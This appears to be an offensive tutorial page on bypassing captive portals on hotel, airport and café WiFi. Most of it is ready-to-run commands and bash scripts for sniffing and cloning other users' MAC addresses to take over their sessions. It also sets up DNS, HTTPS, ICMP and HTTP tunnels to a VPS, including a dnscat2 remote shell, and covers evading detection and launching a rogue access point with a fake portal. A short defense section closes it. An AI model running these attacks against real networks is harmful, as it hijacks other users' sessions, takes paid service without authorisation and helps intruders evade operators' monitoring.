Captive Portal Bypass

Exploitation

Master techniques to bypass captive portals found in hotels, airports, coffee shops, and public WiFi networks using MAC spoofing, DNS tunneling, SSL tricks, and detection evasion.

Information

Guide Navigation: This comprehensive guide covers multiple bypass techniques. Use the table of contents below to jump to specific methods.

📖 Captive Portal Overview

Captive portals are authentication gateways used on public WiFi networks (hotels, airports, coffee shops) that intercept all traffic until the user completes authentication. The term "captive" means your browser is forcibly redirected to a login page regardless of what URL you request. These systems combine DHCP manipulation, DNS hijacking, and firewall rules to trap clients.

How they work: When you connect, the network assigns you an IP via DHCP but marks your MAC address as "unauthenticated" in the firewall. All DNS queries are redirected to the portal server, and HTTP traffic gets a 302 redirect to the login page. HTTPS connections fail with certificate errors (or are allowed to specific whitelisted domains). Only after authentication does the firewall allow your MAC to access the internet.

Bypass strategies: Since authentication is tied to MAC address, the simplest approach is cloning an already-authenticated device's MAC. Alternatively, exploit allowed services (DNS, HTTPS to specific domains) to tunnel all traffic through those protocols. Most portals have weak filtering because they prioritize usability over security—blocking too much breaks legitimate use cases.

How Captive Portals Work

🔄 Typical Captive Portal Flow

  1. Client connects to WiFi
  2. DHCP assigns IP (often 10.x.x.x or 172.16.x.x)
  3. DNS queries redirected to portal server
  4. HTTP traffic redirected to login page
  5. HTTPS may fail or redirect
  6. After authentication, firewall allows traffic

🔐 Common Authentication Methods

  • Click-through (accept terms)
  • Voucher/code entry

Detection Mechanisms

🔍 Portal Detection Methods

  1. DNS probe (captive.apple.com, connectivitycheck.gstatic.com)
  2. HTTP probe (http://clients3.google.com/generate_204)
  3. Check for 302 redirects on known good URLs
  4. HTTPS certificate validation

🛡️ Network Isolation

  • ARP inspection
  • Client isolation (no inter-client traffic)
  • VLAN separation
  • Rate limiting per MAC

🎭 MAC Address Spoofing

MAC spoofing is the most effective captive portal bypass with a success rate >80% on public networks. The concept is simple: captive portals track authenticated devices by MAC address. If you clone an authenticated device's MAC, the firewall sees you as already logged in and grants immediate access. No credentials, no payment, no hassle.

Attack workflow: First, scan the network to identify authenticated clients (devices actively using the internet). Use airodump-ng or arp-scan to capture MAC addresses. Then, change your MAC to match one of theirs using macchanger or ip commands. Reconnect to the WiFi, and you'll inherit their authenticated session. The risk: if both of you are online simultaneously with the same MAC, it causes IP conflicts—pick a MAC from a device that appears idle or disconnected.

1. Identify Authorized MACs

bash
# Scan for active clients
sudo airodump-ng wlan0mon -c <CHANNEL> --bssid <AP_BSSID>

# Save to file
sudo airodump-ng wlan0mon -c <CHANNEL> --bssid <AP_BSSID> -w capture

# Parse captured data
sudo aircrack-ng capture-01.cap | grep "Station"

# Alternative: arp-scan
sudo arp-scan --interface=wlan0 --localnet

# Monitor traffic to identify authenticated clients
sudo tcpdump -i wlan0 -e -n | grep -v "10.0.0"  # Filter local traffic

2. Clone Authorized MAC

bash
# Method 1: macchanger
sudo ifconfig wlan0 down
sudo macchanger -m <TARGET_MAC> wlan0
sudo ifconfig wlan0 up

# Verify
macchanger -s wlan0

# Method 2: ip command
sudo ip link set wlan0 down
sudo ip link set wlan0 address <TARGET_MAC>
sudo ip link set wlan0 up

# Method 3: NetworkManager
sudo nmcli connection modify <CONNECTION> wifi.cloned-mac-address <TARGET_MAC>
sudo nmcli connection down <CONNECTION>
sudo nmcli connection up <CONNECTION>

# Reconnect to network
sudo wpa_supplicant -B -i wlan0 -c /etc/wpa_supplicant/wpa_supplicant.conf
sudo dhclient wlan0

3. Automated MAC Rotation

bash
#!/bin/bash
# mac_rotator.sh - Try multiple authorized MACs

INTERFACE="wlan0"
SSID="PublicWiFi"

# Array of captured authorized MACs
MACS=(
  "AA:BB:CC:DD:EE:01"
  "AA:BB:CC:DD:EE:02"
  "AA:BB:CC:DD:EE:03"
)

for mac in "${MACS[@]}"; do
  echo "[*] Trying MAC: $mac"
  
  # Change MAC
  sudo ifconfig $INTERFACE down
  sudo macchanger -m $mac $INTERFACE
  sudo ifconfig $INTERFACE up
  
  # Reconnect
  sudo wpa_supplicant -B -i $INTERFACE -c <(echo "network={ssid=\"$SSID\" key_mgmt=NONE}")
  sudo dhclient $INTERFACE
  
  # Test internet
  sleep 5
  if curl -s --max-time 5 http://google.com > /dev/null; then
    echo "[+] Success with MAC: $mac"
    exit 0
  fi
  
  echo "[-] Failed with MAC: $mac"
  sleep 2
done

echo "[-] All MACs failed"

🌐 DNS Tunneling

DNS tunneling exploits the fact that captive portals must allow DNS queries (port 53) even for unauthenticated clients—otherwise, the portal login page itself wouldn't load. By encoding data in DNS queries and responses, you can tunnel arbitrary traffic (HTTP, SSH, etc.) through DNS without authentication. This works even on heavily restricted networks.

How it works: You run a DNS server on your external VPS that encodes data in DNS responses. Your client sends DNS queries with data encoded in subdomain names (e.g., 6d7920646174612e tunnel.yourdomain.com where the hex encodes "my data"). The server decodes these queries, processes them, and returns responses with encoded data. Tools like iodine and dnscat2 automate this, creating a tunnel interface (tun0) you can route traffic through.

Limitations: DNS tunneling is slow (typically 10-50 KB/s) due to DNS packet size limits and query rate limiting. It's detectable via traffic analysis—normal DNS queries are small and infrequent, while tunneled DNS generates constant large queries. Best used for SSH/text, not streaming video. Some portals block DNS to external resolvers (forcing you to use theirs), which defeats this technique.

1. Iodine - DNS Tunnel

bash
# Server setup (your external VPS)
sudo apt install iodine
sudo iodined -f -c -P <PASSWORD> 10.0.0.1 tunnel.yourdomain.com

# Configure DNS
# Add NS record: tunnel.yourdomain.com -> <VPS_IP>

# Client (behind captive portal)
sudo apt install iodine
sudo iodine -f -P <PASSWORD> tunnel.yourdomain.com

# Tunnel established on tun0
# Route traffic through tunnel
sudo route add default gw 10.0.0.1 tun0

# Test
ping 10.0.0.1
curl --interface tun0 http://google.com

2. dnscat2 - Encrypted DNS Tunnel

bash
# Server (your VPS)
git clone https://github.com/iagox86/dnscat2
cd dnscat2/server
sudo gem install bundler
bundle install
sudo ruby dnscat2.rb tunnel.yourdomain.com

# Note the secret key displayed

# Client (behind portal)
cd dnscat2/client
make
./dnscat --secret=<SECRET_KEY> tunnel.yourdomain.com

# On server console:
dnscat2> session -i 1
dnscat2> shell
# Now you have shell access through DNS

3. Proxy via DNS

bash
# Use SOCKS proxy over DNS tunnel
# After establishing iodine tunnel:

# On VPS (10.0.0.1):
sudo apt install dante-server
# Configure /etc/danted.conf
sudo systemctl start danted

# On client:
ssh -D 8080 user@10.0.0.1  # Via tunnel

# Configure browser/system to use SOCKS5 127.0.0.1:8080

🔐 SSL/TLS Tricks

1. HTTPS Bypass via SNI

bash
# Many portals allow DNS (53) and HTTPS (443)
# Exploit by tunneling through HTTPS

# stunnel client config (/etc/stunnel/stunnel.conf)
[https-tunnel]
client = yes
accept = 127.0.0.1:8080
connect = your-vps.com:443

# VPS stunnel server config
[https-tunnel]
cert = /etc/stunnel/stunnel.pem
accept = 443
connect = 127.0.0.1:1080  # SOCKS proxy

# Start both and use local SOCKS proxy

2. SSL/TLS CONNECT Tunnel

bash
# proxytunnel - Tunnel through HTTPS proxy
sudo apt install proxytunnel

# If portal allows outbound HTTPS:
proxytunnel -p <PROXY_IP>:3128 -d your-vps.com:443 -a 9999

# SSH through tunnel
ssh -o ProxyCommand="proxytunnel -p <PROXY_IP>:3128 -d your-vps.com:443" user@localhost

# Or use corkscrew
sudo apt install corkscrew
ssh -o ProxyCommand="corkscrew <PROXY_IP> 3128 %h %p" user@your-vps.com

3. DNS over HTTPS (DoH)

bash
# Use DoH to bypass DNS restrictions
# cloudflared (Cloudflare DoH)
wget https://github.com/cloudflare/cloudflared/releases/latest/download/cloudflared-linux-amd64
chmod +x cloudflared-linux-amd64
sudo mv cloudflared-linux-amd64 /usr/local/bin/cloudflared

# Run DoH proxy
sudo cloudflared proxy-dns --upstream https://1.1.1.1/dns-query --port 53

# Configure system to use 127.0.0.1 as DNS
echo "nameserver 127.0.0.1" | sudo tee /etc/resolv.conf

# All DNS queries now via HTTPS (often allowed by portal)

🚀 Advanced Bypass Techniques

1. ICMP Tunnel

bash
# ptunnel - Tunnel over ICMP (ping)
# Server (VPS)
sudo apt install ptunnel
sudo ptunnel -x <PASSWORD>

# Client (behind portal)
sudo ptunnel -p <VPS_IP> -lp 8000 -da <VPS_IP> -dp 22 -x <PASSWORD>

# SSH via ICMP tunnel
ssh -p 8000 user@localhost

# Note: Many portals block or rate-limit ICMP

2. HTTP Tunnel

bash
# httptunnel - Tunnel over HTTP
# Server (VPS)
sudo apt install httptunnel
sudo hts -F localhost:22 8888

# Client
htc -F 8022 <VPS_IP>:8888

# SSH via HTTP tunnel
ssh -p 8022 user@localhost

# Combine with HTTP proxy
htc -P <PROXY_IP>:3128 -F 8022 <VPS_IP>:8888

3. Abuse Allowed Domains

bash
# Some portals whitelist domains (e.g., speedtest.net, apple.com)
# Find allowed domains:
for domain in speedtest.net apple.com google.com cloudflare.com; do
  echo -n "Testing $domain: "
  curl -s --max-time 3 -o /dev/null -w "%{http_code}" https://$domain
  echo
done

# If domain is allowed, pivot through it
# Example: Use Cloudflare Workers as proxy
# Deploy worker that proxies requests
# Access via: https://yourworker.workers.dev/?url=http://target.com

4. IPv6 Bypass

bash
# Some portals only filter IPv4
# Check for IPv6 connectivity
ping6 -c 4 2001:4860:4860::8888  # Google DNS

# If IPv6 works:
curl -6 https://ipv6.google.com

# Configure IPv6 tunnel
# Hurricane Electric tunnel (tunnelbroker.net)
sudo ip tunnel add he-ipv6 mode sit remote <HE_SERVER> local <YOUR_IPv4> ttl 255
sudo ip link set he-ipv6 up
sudo ip addr add <YOUR_IPv6>/64 dev he-ipv6
sudo ip route add ::/0 dev he-ipv6

# Test
ping6 google.com

🕵️ Detection Evasion

1. User-Agent Randomization

bash
# Portals may fingerprint browsers
# Randomize User-Agent with curl
curl -A "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36" http://target.com

# Browser extension: User-Agent Switcher
# Or use Tor Browser (has built-in UA randomization)

# Automated UA rotation
#!/bin/bash
UAs=(
  "Mozilla/5.0 (Windows NT 10.0; Win64; x64)"
  "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7)"
  "Mozilla/5.0 (X11; Linux x86_64)"
)
UA="${UAs[$RANDOM % ${#UAs[@]}]}"
curl -A "$UA" http://target.com

2. TTL Manipulation

bash
# Bypass TTL-based device detection
# Increase TTL to mask device type
sudo iptables -t mangle -A POSTROUTING -j TTL --ttl-set 65

# Or per-interface
sudo iptables -t mangle -A POSTROUTING -o wlan0 -j TTL --ttl-set 64

# Verify
ping -c 1 8.8.8.8 | grep ttl

# Restore original
sudo iptables -t mangle -D POSTROUTING -j TTL --ttl-set 65

3. Traffic Obfuscation

bash
# Encrypt traffic to avoid DPI
# OpenVPN over TCP port 443 (looks like HTTPS)
# Server config:
port 443
proto tcp
dev tun

# Client connects
sudo openvpn --config client.ovpn

# Or use obfsproxy (Tor pluggable transport)
sudo apt install obfs4proxy
# Configure bridge with obfs4

🔧 Automated Tools

1. WiFi-Pumpkin3

bash
# All-in-one captive portal attack tool
git clone https://github.com/P0cL4bs/wifipumpkin3
cd wifipumpkin3
sudo python3 setup.py install

# Launch
sudo wifipumpkin3

# Create rogue AP with fake portal
wp3 > set interface wlan0
wp3 > set ssid "Free WiFi"
wp3 > plugins
wp3 > start

2. Ncat for Quick Tunnels

bash
# Server (VPS)
ncat -l -p 443 --ssl --sh-exec "ncat 127.0.0.1 22"

# Client (behind portal)
ncat --ssl <VPS_IP> 443 --sh-exec "ncat 127.0.0.1 22"

# Now both sides can communicate via SSL on port 443

3. bypass-captive-portal Script

bash
#!/bin/bash
# bypass-portal.sh - Automated bypass attempt

INTERFACE="wlan0"
VPS="your-vps.com"

echo "[*] Captive Portal Bypass Tool"

# Test 1: Direct internet
echo "[+] Testing direct internet..."
if curl -s --max-time 5 http://google.com | grep -q "google"; then
  echo "[+] Already have internet access!"
  exit 0
fi

# Test 2: DNS (53)
echo "[+] Testing DNS (port 53)..."
if nc -zv -w 3 8.8.8.8 53 2>&1 | grep -q "succeeded"; then
  echo "[+] DNS allowed, trying DNS tunnel..."
  sudo iodine -f tunnel.$VPS &
  sleep 5
  if curl -s --max-time 5 http://google.com | grep -q "google"; then
    echo "[+] Success via DNS tunnel!"
    exit 0
  fi
  sudo killall iodine
fi

# Test 3: HTTPS (443)
echo "[+] Testing HTTPS (port 443)..."
if nc -zv -w 3 $VPS 443 2>&1 | grep -q "succeeded"; then
  echo "[+] HTTPS allowed, trying SSL tunnel..."
  ssh -f -N -D 8080 -p 443 user@$VPS
  export http_proxy="socks5://127.0.0.1:8080"
  if curl -s --max-time 5 http://google.com | grep -q "google"; then
    echo "[+] Success via HTTPS tunnel!"
    exit 0
  fi
fi

# Test 4: MAC spoofing
echo "[+] Trying MAC spoofing..."
# (MAC rotation code here)

echo "[-] All bypass methods failed"

🧪 Testing Verification

Portal Security Assessment

bash
# Captive Portal Security Checklist

# 1. Client Isolation
# Can clients communicate?
sudo arp-scan --interface=wlan0 --localnet
ping <OTHER_CLIENT_IP>

# 2. Allowed Ports
# Scan for open outbound ports
nmap -p- --open <GATEWAY_IP>

# 3. DNS Filtering
# Check if DNS queries are filtered
dig @8.8.8.8 google.com
dig @1.1.1.1 google.com

# 4. Protocol Restrictions
# Test ICMP, UDP, TCP
ping 8.8.8.8
nc -u 8.8.8.8 53
nc 8.8.8.8 443

# 5. MAC Filtering
# Test MAC randomization detection
sudo macchanger -r wlan0
# Reconnect and check if still works

# 6. Session Duration
# How long does authenticated session last?
# Check for: Idle timeout, absolute timeout, device limit

Bypass Success Testing

bash
# After bypass attempt, verify:

# 1. Internet connectivity
curl https://ifconfig.me
curl https://ipinfo.io

# 2. DNS resolution
nslookup google.com

# 3. Speed test
speedtest-cli

# 4. Stability (monitor for 10 mins)
while true; do
  curl -s -o /dev/null -w "%{http_code} - %{time_total}s\n" https://google.com
  sleep 30
done

🛡️ Defense & Mitigation

Secure Captive Portal Design

🛡️ Best Practices for Portal Operators

  1. MAC-based authentication (with expiry)
    • Implement MAC rotation detection
    • Limit sessions per MAC
  2. Deep Packet Inspection (DPI)
    • Detect DNS tunneling patterns
    • Block known tunnel protocols
  3. Port restrictions
    • Only allow HTTP (80), HTTPS (443), DNS (53)
    • Block ICMP or rate limit
  4. Client isolation
    • Prevent ARP spoofing
    • Isolate clients from each other
  5. Certificate pinning
    • Detect SSL tunnel attempts
  6. Rate limiting`} language="yaml" />

    Detection Mechanisms

    bash
    # Detect bypass attempts:
    
    # 1. Monitor for MAC changes
    arpwatch -i wlan0
    
    # 2. DPI for tunnel signatures
    # Suricata rule example:
    alert dns any any -> any any (msg:"Possible DNS Tunnel"; \
      content:"|00 10|"; depth:2; dsize:>150; \
      threshold:type both,track by_src,count 10,seconds 60;)
    
    # 3. Entropy analysis
    # High entropy in DNS queries = tunnel
    python3 dns_entropy_check.py
    
    # 4. Traffic pattern analysis
    # Look for:
    # - Constant packet sizes
    # - Regular intervals
    # - Unusual protocols on common ports

    📚 Key Takeaways

    Warning

    • MAC Spoofing: Simplest and most effective bypass for most portals
    • DNS Tunneling: Works when DNS (port 53) is allowed without authentication
    • HTTPS Tunnels: Port 443 often permitted, can carry SSH/VPN traffic
    • Legal Risk: Bypassing paid portals may violate ToS or local laws
    • Hotel WiFi: MAC spoofing almost always works (clone authenticated device)
    • Enterprise Portals: More sophisticated, may use 802.1X (harder to bypass)